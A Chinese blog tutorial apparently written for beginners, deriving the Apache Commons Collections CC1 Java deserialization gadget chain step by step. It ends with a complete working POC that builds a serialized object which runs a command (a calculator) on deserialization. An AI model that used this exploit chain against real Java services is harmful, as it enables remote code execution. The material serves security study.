前言
CC1链有两种写法,我这种写法跟ysoserial里的写法不一样,另一种写法写在另一篇文章。
cc1链要求java版本小于jdk8u71
我这里用的JDK版本是8u66
因为在高版本这条链子最后的annotationInvocationHandler类readObject之后,memberValues小版本有值,高版本是空
依赖
工欲善其事,必先利其器
关于apache commons collections的依赖,我推荐直接用maven装,这样方便快捷。在你的IDEA里,新建一个项目,在构建系统里选择Maven即可。
找到你项目下的pom.xml文件,这是maven获取依赖的配置文件,对于CC链的依赖,我们把以下代码写入保存即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId> <artifactId>CC</artifactId> <version>1.0-SNAPSHOT</version>
<properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties>
<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
<dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.2</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency> </dependencies>
</project>
|
如果maven下载的包里是已经编译好的.class文件,那么可以在maven的设置里选择下载java和注释文件,这样才方便我们的调试。
至此,环境依赖的问题就解决了。
链子构建
入口类:Transformer类
1
| org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
|
1 2 3
| public interface Transformer { public Object transform(Object input); }
|
这个类接受一个对象,并对传入的对象进行一些操作。
在这个类的引用里有一个InvokerTransformer类
这个类接受三个参数:方法名、参数类型、参数。并在transform方法里进行反射调用。这里三个参数都是我们可控的,完全可以任意方法调用。
更重要的是,这个类是Serializable的,可以被序列化。
所以这个类就是我们链子的终点。
测试测试这个类:
1 2 3
| public static void main(String[] args) throws Exception { InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); }
|
我们调用exec方法,参数类型字符串,参数值是calc
找到终点后逆向寻找,看看哪里调用了transform方法。就是下图的O.aaa方法
最终确定了TransformedMap类调用transform方法并可以利用。
它的checkSetValue方法调用了transform方法。这里的value应该是Runtime.getRuntime()对象。
我们看看这个类的构造函数
1 2 3 4 5
| protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
|
这个构造函数是protected,所以得让它自己调用自己(本类调用)。它接受三个参数:Obj.map,keyTransformer ,valueTransformer。
而valueTransformer跟transform的调用有关,我们找找哪里也调用了valueTransformer。
在这个类里,有一个静态方法:
1 2 3
| public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
|
这个方法new 了它自己的类,这里可以作为valueTransformer类的入口。
1 2 3 4 5
| InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap<Object,Object> inmap = new HashMap<>();
TransformedMap.decorate(inmap,null,invokerTransformer);
|
new 一个TransformedMap对象后我们需要找找哪里调用了checkSetValue方法。
只有一处调用了,就是TransformedMap的父类AbstractInputCheckedMapDecorator类里有一个MapEntry类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; }
public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
|
正常来讲,只要遍历了被修饰过的map,就能走到MapEntry类,也就会调用MapEntry类的setValue方法(传进去的value是Runtime.getRuntime()对象)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap; import java.util.Map;
public class test { public static void main(String[] arge) throws Exception { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"}); HashMap<Object,Object> inmap = new HashMap<>(); inmap.put("key","value");
Map<Object,Object> outmap = TransformedMap.decorate(inmap,null,invokerTransformer); for(Map.Entry entry: outmap.entrySet()){ entry.setValue(r); } } }
|
我们来run一下这段代码。
弹计算器了,说明我们走到现在,这条链子是没问题的。
现在我们找找,谁的readObject里面调用了(Map.Entry)setValue
在AnnotationInvocationHandler类的readObject里找到了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject();
AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) {
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); }
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } } }
|
更巧的是,AnnotationInvocationHandler类是可序列化的。那这里明显就是最终出口了。
我们看看它的构造函数:
1 2 3 4
| AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { this.type = type; this.memberValues = memberValues; }
|
它接受两个参数,第一个参数是Class,它继承了Annotation,Annotation在java里是注解。即@Override
第二个参数是Map,我们可控,我们就可以把我们设计好的TransformedMap传进去。
还有一点,我们注意这个类的声明,它并没有写public,没写就是default类型。只能在它自己的包底下才能访问到。所以我们只能通过反射获取到,不能直接获取。
1 2 3 4 5
| Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class); constructorhandler.setAccessible(true); Object obj = constructorhandler.newInstance(Override.class,outmap); serialize(obj);
|
如果写到这里。我们的链子应该大概完成了,但是这里我们还需要解决三个问题。
问题
1、上文中说过,setValue里的value应该是Runtime.getRuntime()对象。但是在AnnotationInvocationHandler类里的setValue里是给定的一个对象,我们好像不可控。
2、还是关于Runtime.getRuntime()对象的,这里我们的链子里Runtime.getRuntime()对象是我们自己new的,但其实这个对象是不能被序列化的。(不是Serializable的)
3、在最后的AnnotationInvocationHandler类里readObject方法里还需要进两个if,这个我们下文分析。
分析&解决
序列化的问题
对于问题Runtime.getRuntime()对象不能序列化的问题,它虽然不能序列化,但是他的原型class可以。
他的构造器也是私有的(也就是所谓的单例模式,这里不再赘述),但是Runtime类里有个静态方法getRuntime()正好返回了Runtime类的对象。
我们先写一个正常的反射:
1 2 3 4 5 6
| Class c = Runtime.class; Method getRuntime = c.getMethod("getRuntime",null); Runtime r = (Runtime) getRuntime.invoke(null,null);
Method exec = c.getMethod("exec",String.class); exec.invoke(r,"calc");
|
类似的,因为我们最后需要TransformedMap对象,所以我们围绕invokerTransformer来写这样的一条反射链
我们可以利用InvokerTransformer调用getMethod方法,让其在Runtime.class对象上调用getRuntime方法:
1
| Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
|
getMethod的参数是String和Class数组,所以InvokerTransformer第二个参数是new Class[]{String.class,Class[].class}
拿到getRuntime方法后,又对其调用了它的invoke方法。
我们可以利用InvokerTransformer在getRuntime上调用invoke方法
1
| Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);
|
invoke的参数是Object和Object数组,所以InvokerTransformer第二个参数是new Class[]{Object.class,Object[].class}。invoke的参数值是空的,传入两个Null即可。
第三步就是在Runtime对象上调用exec方法执行命令。
1
| new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
|
至此我们就实现了Transformer的循环调用。
但是这样写会很复杂,我们需要写很多函数,而Transformer类中有一个ChainedTransformer专门就是干这个的。
1 2 3 4 5 6 7 8 9 10 11
| public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; }
public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
|
所以我们可以把上面的InvokerTransformer写成Transformer数组,再传入ChainedTransformer即可。
1 2 3 4 5 6 7
| Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
|
运行以上代码,成功弹计算器,说明序列化这个问题我们搞定了!
关于两个if的问题
我们可以调试看看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class test { public static void main(String[] arge) throws Exception {
Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> inmap = new HashMap<>(); inmap.put("key","value"); Map<Object,Object> outmap = TransformedMap.decorate(inmap,null,chainedTransformer);
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class); constructorhandler.setAccessible(true); Object obj = constructorhandler.newInstance(Override.class,outmap); serialize(obj); unserialize("serialize"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
断点打在AnnotationInvocationHandler的readObject里,我们发现这里它annotationType = AnnotationType.getInstance(type); 就是我们传入的注释,也就是Overried。
然后Map<String, Class<?>> memberTypes = annotationType.memberTypes();
获取了注释里的值。这里是Overried里的值。
但是Override里的值是空的。所以下面的if判断里的memberType是空,就根本没进去。所以我们需要把Override换一个有值的注释。
Target是有值的,那么我们就把Override换成Target。
但是我们执行后发现这里的memberType还是空的。
我们注意分析分析代码
1 2 3
| String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) {}
|
这里的memberValue其实是我们传入map的键值对。
这里的name是在memberValue里找键值对里的键(这里就是key)。然后第二行,在memberTypes里看看有没有这个键,有就让memberType赋值,就不是空了。
我们刚刚改过,memberTypes = annotationType.memberTypes();这里的memberTypes的值其实是我们传入注释里的值,我们刚刚看Target注释里的值是value。所以我们需要memberValue里键值对里的键的值是value即可。
所以,我们只需要把inmap.put(“key”,”value”);改成inmap.put(“value”,”aaa”);即可。
第二个if判断键值对是否能强转,不能强转就进入。我们这里是强转不了的,所以直接进入了。
setValue里的value不可控的问题
其实Transformer里还有一个类,是叫ConstantTransformer
1 2 3 4 5 6 7 8
| public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; }
public Object transform(Object input) { return iConstant; }
|
所以,我们只需要在最后那个点调用的是它的transform方法,传入我们最开始的传入对象Runtime.class无论中间有什么修饰变化,它最后返回Runtime.class,然后传给InvokerTransformer反射调用来rce了。
他同样是Transformer里的,所以我们可以一并写进Transformer数组里。
1 2 3 4 5 6
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"}) };
|
完整POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
public class CC1 { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> inmap = new HashMap<>(); inmap.put("value","aaa"); Map outmap = TransformedMap.decorate(inmap,null,chainedTransformer);
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class); constructorhandler.setAccessible(true); Object obj = constructorhandler.newInstance(Target.class,outmap); serialize(obj); }
public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize")); oos.writeObject(obj); } }
|
以上代码生产一个名为serialize的序列化文件。
我们反序列化触发一下试试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream;
public class unserializeTest { public static void main(String[] arge) throws Exception{ unserialize("serialize"); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
弹计算器了!
至此,我们的Apache Commons Collections 反序列化1链终于完成了!(鼓掌)
链子思路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| AnnotationInvocationHandler类 -> readObject() -> setValue()
TransformedMap类 -> MapEntry类 ->checkSetValue() -> setValue() ChainedTransformer类 -> transform(Transformers[]) -> ConstantTransformer类 -> transform(Runtime.class)
InvokerTransformer类 -> transform(Runtime.class) -> getClass() -> getMethod() -> invoke() ->exec()
|
后记
由于周一周二我满课=-=,这篇文章只有下午六点下课了才能写一写,加上我周天学习CC1链的那天,总共花费了三天时间。这三天相当与每天都复习了一遍链子的思路和写法,感觉很神奇,这种到底是怎么发现的呢=-=
刚开始学java反序列化还要下大功夫,因为很难,我也很笨学得慢,大师傅讲的CC1链50分钟的视频我来回看了三遍才看懂。有了一点心得体会想要写到博客分享给大家。
作为初学者,最了解初学者の痛。我想尽量完善这篇文章,写的尽量详细,让我自己和所有刚开始学java安全的小白师傅们都有个愉快的开始。
最后的最后,附上我最开始写的,虽杂乱无章,却又珍贵无比的 代码X笔记:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
public class CC1 { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> inmap = new HashMap<>(); inmap.put("value","aaa"); Map outmap = TransformedMap.decorate(inmap,null,chainedTransformer); Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class); constructorhandler.setAccessible(true); Object obj = constructorhandler.newInstance(Target.class,outmap); serialize(obj); }
public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize")); oos.writeObject(obj); } }
|